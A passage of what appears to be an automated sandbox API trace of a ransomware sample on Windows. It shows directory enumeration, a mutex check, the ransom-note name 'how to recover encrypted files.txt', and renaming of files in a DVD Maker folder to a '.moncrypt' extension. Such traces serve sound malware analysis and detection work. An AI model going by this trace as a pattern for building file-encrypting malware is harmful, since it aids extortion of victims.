cchLength=0xb | out: lpsz="filters.xml") returned 0xb [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.290] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", cchWideChar=45, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", lpUsedDefaultChar=0x0) returned 45 [0057.290] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0057.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmls.xml", lpUsedDefaultChar=0x0) returned 4 [0057.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", lpFindFileData=0x18ee44 | out: lpFindFileData=0x18ee44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 0x54e200 [0057.291] FileTimeToLocalFileTime (in: lpFileTime=0x18ee58, lpLocalFileTime=0x18ed70 | out: lpLocalFileTime=0x18ed70) returned 1 [0057.291] FileTimeToDosDateTime (in: lpFileTime=0x18ed70, lpFatDate=0x18ee26, lpFatTime=0x18ee24 | out: lpFatDate=0x18ee26, lpFatTime=0x18ee24) returned 1 [0057.291] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.291] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", dwFileAttributes=0x20) returned 0 [0057.291] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18dd80, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.291] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml.moncrypt")) returned 0 [0057.292] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0057.292] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.292] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.292] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.292] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.292] GlobalUnlock (hMem=0x440004) returned 0 [0057.292] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.292] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.292] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.292] GlobalUnlock (hMem=0x440004) returned 0 [0057.292] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.292] GlobalUnlock (hMem=0x44000c) returned 0 [0057.292] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.292] CharLowerBuffW (in: lpsz="Parity.fx", cchLength=0x9 | out: lpsz="parity.fx") returned 0x9 [0057.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0057.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="að\x18", lpUsedDefaultChar=0x0) returned 1 [0057.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx", cchWideChar=43, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx", lpUsedDefaultChar=0x0) returned 43 [0057.293] CharLowerBuffW (in: lpsz=".fx", cchLength=0x3 | out: lpsz=".fx") returned 0x3 [0057.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".fx", cchWideChar=3, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".fx", lpUsedDefaultChar=0x0) returned 3 [0057.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx", lpFindFileData=0x18ee44 | out: lpFindFileData=0x18ee44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0x54e200 [0057.293] FileTimeToLocalFileTime (in: lpFileTime=0x18ee58, lpLocalFileTime=0x18ed70 | out: lpLocalFileTime=0x18ed70) returned 1 [0057.293] FileTimeToDosDateTime (in: lpFileTime=0x18ed70, lpFatDate=0x18ee26, lpFatTime=0x18ee24 | out: lpFatDate=0x18ee26, lpFatTime=0x18ee24) returned 1 [0057.293] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.293] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx", dwFileAttributes=0x20) returned 0 [0057.294] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18dd80, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.294] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx.moncrypt")) returned 0 [0057.294] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0057.294] GetLastError () returned 0x12 [0057.294] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.294] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.294] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.294] GlobalUnlock (hMem=0x44000c) returned 0 [0057.294] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.294] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.294] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.294] GlobalUnlock (hMem=0x44000c) returned 0 [0057.295] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.295] GlobalUnlock (hMem=0x440004) returned 0 [0057.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x43545020, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43545020, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0057.295] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0057.295] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.295] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.295] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.295] GlobalUnlock (hMem=0x440004) returned 0 [0057.295] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.295] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.295] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.295] GlobalUnlock (hMem=0x440004) returned 0 [0057.295] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.295] GlobalUnlock (hMem=0x44000c) returned 0 [0057.295] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.295] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x43545020, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43545020, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.295] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.295] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.295] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.295] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.295] GlobalUnlock (hMem=0x44000c) returned 0 [0057.295] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.295] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.295] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.296] GlobalUnlock (hMem=0x44000c) returned 0 [0057.296] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.296] GlobalUnlock (hMem=0x440004) returned 0 [0057.296] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.296] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0057.296] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.296] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.296] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.296] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.296] GlobalUnlock (hMem=0x440004) returned 0 [0057.296] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.296] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.296] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.296] GlobalUnlock (hMem=0x440004) returned 0 [0057.296] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.296] GlobalUnlock (hMem=0x44000c) returned 0 [0057.296] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.296] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0057.296] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.296] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.296] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.296] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.296] GlobalUnlock (hMem=0x44000c) returned 0 [0057.296] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.296] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.296] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.296] GlobalUnlock (hMem=0x44000c) returned 0 [0057.297] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.297] GlobalUnlock (hMem=0x440004) returned 0 [0057.297] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.297] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0057.297] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.297] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.297] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.297] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.297] GlobalUnlock (hMem=0x440004) returned 0 [0057.297] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.297] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.297] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.297] GlobalUnlock (hMem=0x440004) returned 0 [0057.297] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.297] GlobalUnlock (hMem=0x44000c) returned 0 [0057.297] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.297] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0057.297] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.297] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.297] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.297] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.297] GlobalUnlock (hMem=0x44000c) returned 0 [0057.297] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.297] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.297] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.297] GlobalUnlock (hMem=0x44000c) returned 0 [0057.297] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.297] GlobalUnlock (hMem=0x440004) returned 0 [0057.298] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.298] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.298] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.298] GlobalUnlock (hMem=0x440004) returned 0 [0057.298] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.298] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.298] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.298] GlobalUnlock (hMem=0x440004) returned 0 [0057.298] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.298] GlobalUnlock (hMem=0x44000c) returned 0 [0057.298] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.298] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles", len=0x2b | out: pbstr=0x18f104*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles") returned 1 [0057.298] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.298] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.298] GlobalUnlock (hMem=0x44000c) returned 0 [0057.298] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.298] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.298] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.298] GlobalUnlock (hMem=0x44000c) returned 0 [0057.298] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.298] GlobalUnlock (hMem=0x440004) returned 0 [0057.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@弈R廜R企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0057.304] GetLastError () returned 0x3 [0057.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0057.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="聄R䱠@庄R企@\x18䀴Q\x181")) returned 0xffffffff [0057.306] GetLastError () returned 0x2 [0057.306] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 